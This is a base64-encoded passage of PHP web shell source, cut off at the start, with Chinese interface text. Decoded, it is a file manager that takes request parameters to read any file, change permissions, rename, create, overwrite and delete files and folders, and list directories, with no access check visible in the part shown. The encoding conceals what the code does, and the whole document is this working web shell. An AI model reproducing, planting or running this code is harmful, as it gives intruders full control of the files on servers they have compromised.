C9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0cl9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlofku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbHNwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Yig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTjNXSlAzRmo3ZjkyVVBWa0xZOExHWGJJRUFJaU9zQ01nUVdhSVFrZ0JoaEJBU1FNV0ZpQXBXRkJVUm5FaFZ4SUxWQ2tpZGlPS2dLTGhuUVlxSVdvdFZYRGp1SDl5bnRYMTY3KzN0KzlmN3ZPZWM1L3pPZWM4UGdCRVNKcEhtb21vQU9WS0ZQRHJZSDQ5UFNNVEp2WUFDRlVqZ0JDQVE1c3ZDWndYRkFBRHdBM2w0Zm5Td1Avd0JyMjhBQWdCdzFTNGtFc2ZoLzRPNlVDWlhBQ0NSQU9BaUV1Y0xBWkJTQU1ndVZNZ1VBTWdZQUxCVHMyUUtBSlFBQUd4NWZFSWlBS29OQU96MFNUNEZBTmlwazl3WEFOaWlIS2tJQUkwQkFKa29SeVFDUUxzQVlGV0JVaXdDd01JQW9LeEFJaTRFd0s0QmdGbTJNa2NDZ0wwRkFIYU9XSkFQUUdBQWdKbENMTXdBSURnQ0FFTWVFODBESUV3RG9ERFN2K0NwWDNDRnVFZ0JBTURMbGMyWFM5SXpGTGlWMEJwMzh2RGc0aUhpd215eFFtRVhLUkJtQ2VRaW5KZWJJeE5JNXdOTXpnd0FBQnI1MGNIK09EK1E1K2JrNGVabTUyenY5TVdpL212d2J5SStJZkhmL3J5TUFnUUFFRTdQNzlwZjVlWFdBM0RIQWJCMXYydXBXd0RhVmdCbzMvbGRNOXNKb0ZvSzBIcjVpM2s0L0VBZW5xRlF5RHdkSEFvTEMrMGxZcUc5TU9PTFB2OHo0Vy9naTM3Mi9FQWUvdHQ2OEFCeG1rQ1pyY0NqZy8xeFlXNTJybEtPNThzRVFqRnU5K2NqL3NlRmYvMk9LZEhpTkxGY0xCV0s4VmlKdUZBaVRjZDV1VktSUkNISmxlSVM2WDh5OFIrVy9RbVRkdzBBcklaUHdFNjJCN1hMYk1CKzdnRUNpdzVZMG5ZQVFIN3pMWXdhQzVFQUVHYzBNbm4zQUFDVHYvbVBRQ3NCQU0yWHBPTUFBTHpvR0Z5b2xCZE14Z2dBQUVTZ2dTcXdRUWNNd1JTc3dBNmN3UjI4d0JjQ1lRWkVRQXdrd0R3UVFnYmtnQndLb1JpV1FSbFV3RHJZQkxXd0F4cWdFWnJoRUxUQk1UZ041K0FTWElIcmNCY0dZQmlld2hpOGhna0VRY2dJRTJFaE9vZ1JZbzdZSXM0SUY1bU9CQ0poU0RTU2dLUWc2WWdVVVNMRnlIS2tBcWxDYXBGZFNDUHlMWElVT1kxY1FQcVEyOGdnTW9yOGlyeEhNWlNCc2xFRDFBSjFRTG1vSHhxS3hxQnowWFEwRDEyQWxxSnIwUnEwSGoyQXRxS24wVXZvZFhRQWZZcU9ZNERSTVE1bWpObGhYSXlIUldDSldCb214eFpqNVZnMVZvODFZeDFZTjNZVkc4Q2VZZThJSkFLTGdCUHNDRjZFRU1Kc2dwQ1FSMWhNV0VPb0pld2p0Qks2Q0ZjSmc0UXh3aWNpazZoUHRDVjZFdm5FZUdJNnNaQllScXdtN2lFZUlaNGxYaWNPRTErVFNDUU95WkxrVGdvaEpaQXlTUXRKYTBqYlNDMmtVNlErMGhCcG5Fd202NUJ0eWQ3a0NMS0FyQ0NYa2JlUUQ1QlBrdnZKdytTM0ZEckZpT0pNQ2FJa1VxU1VFa28xWlQvbEJLV2ZNa0tab0twUnphbWUxQWlxaURxZldrbHRvSFpRTDFPSHFSTTBkWm9selpzV1E4dWtMYVBWMEpwcFoybjNhQy9wZExvSjNZTWVSWmZRbDlKcjZBZnA1K21EOUhjTURZWU5nOGRJWWlnWmF4bDdHYWNZdHhrdm1VeW1CZE9YbWNoVU1OY3lHNWxubUErWWIxVllLdllxZkJXUnloS1ZPcFZXbFg2VjU2cFVWWE5WUDlWNXFndFVxMVVQcTE1V2ZhWkdWYk5RNDZrSjFCYXIxYWtkVmJ1cE5xN09VbmRTajFEUFVWK2p2bC85Z3ZwakRiS0doVWFnaGtpalZHTzN4aG1OSVJiR01tWHhXRUxXY2xZRDZ5eHJtRTFpVzdMNTdFeDJCZnNiZGk5N1RGTkRjNnBtckdhUlpwM21jYzBCRHNheDRQQTUyWnhLemlIT0RjNTdMUU10UHkyeDFtcXRacTErclRmYWV0cSsybUx0Y3UwVzdldmE3M1Z3blVDZExKMzFPbTA2OTNVSnVqYTZVYnFGdXR0MXorbyswMlByZWVrSjljcjFEdW5kMFVmMWJmU2o5UmZxNzlidjBSODNNRFFJTnBBWmJERTRZL0RNa0dQb2E1aHB1Tkh3aE9Hb0VjdG91cEhFYUtQUlNhTW51Q2J1aDJmak5YZ1hQbWFzYnh4aXJEVGVaZHhyUEdGaWFUTGJwTVNreGVTK0tjMlVhNXBtdXRHMDAzVE16TWdzM0t6WXJNbnNqam5Wbkd1ZVliN1p2TnY4allXbFJaekZTb3MyaThlVzJwWjh5d1dXVFpiM3JKaFdQbFo1VnZWVzE2eEoxbHpyTE90dDFsZHNVQnRYbXd5Yk9wdkx0cWl0bTYzRWRwdHQzeFRpRkk4cDBpbjFVMjdhTWV6ODdBcnNtdXdHN1RuMllmWWw5bTMyengzTUhCSWQxanQwTzN4eWRIWE1kbXh3dk91azRUVERxY1NwdytsWFp4dG5vWE9kOHpVWHBrdVF5eEtYZHBjWFUyMm5pcWR1bjNyTGxlVWE3cnJTdGRQMW81dTdtOXl0MlczVTNjdzl4WDJyKzAwdW14dkpYY005NzBIMDhQZFk0bkhNNDUybm02ZkM4NURuTDE1MlhsbGUrNzBlVDdPY0pwN1dNRzNJMjhSYjRMM0xlMkE2UGoxbCtzN3BBejdHUGdLZmVwK0h2cWErSXQ4OXZpTisxbjZaZmdmOG52czcrc3Y5ai9pLzRYbnlGdkZPQldBQndRSGxBYjJCR29HekEyc0RId1NaQktVSE5RV05CYnNHTHd3K0ZVSU1DUTFaSDNLVGI4QVg4aHY1WXpQY1p5eWEwUlhLQ0owVldodjZNTXdtVEI3V0VZNkd6d2pmRUg1dnB2bE02Y3kyQ0lqZ1IyeUl1QjlwR1prWCtYMFVLU295cWk3cVViUlRkSEYwOXl6V3JPUlorMmU5anZHUHFZeTVPOXRxdG5KMlo2eHFiRkpzWSt5YnVJQzRxcmlCZUlmNFJmR1hFblFUSkFudGllVEUyTVE5aWVOekF1ZHNtak9jNUpwVWxuUmpydVhjb3JrWDV1bk95NTUzUEZrMVdaQjhPSVdZRXBleVArV0RJRUpRTHhoUDVhZHVUUjBUOG9TYmhVOUZ2cUtOb2xHeHQ3aEtQSkxtblZhVjlqamRPMzFEK21pR1QwWjF4ak1KVDFJcmVaRVprcmtqODAxV1JOYmVyTS9aY2RrdE9aU2NsSnlqVWcxcGxyUXIxekMzS0xkUFppc3JrdzN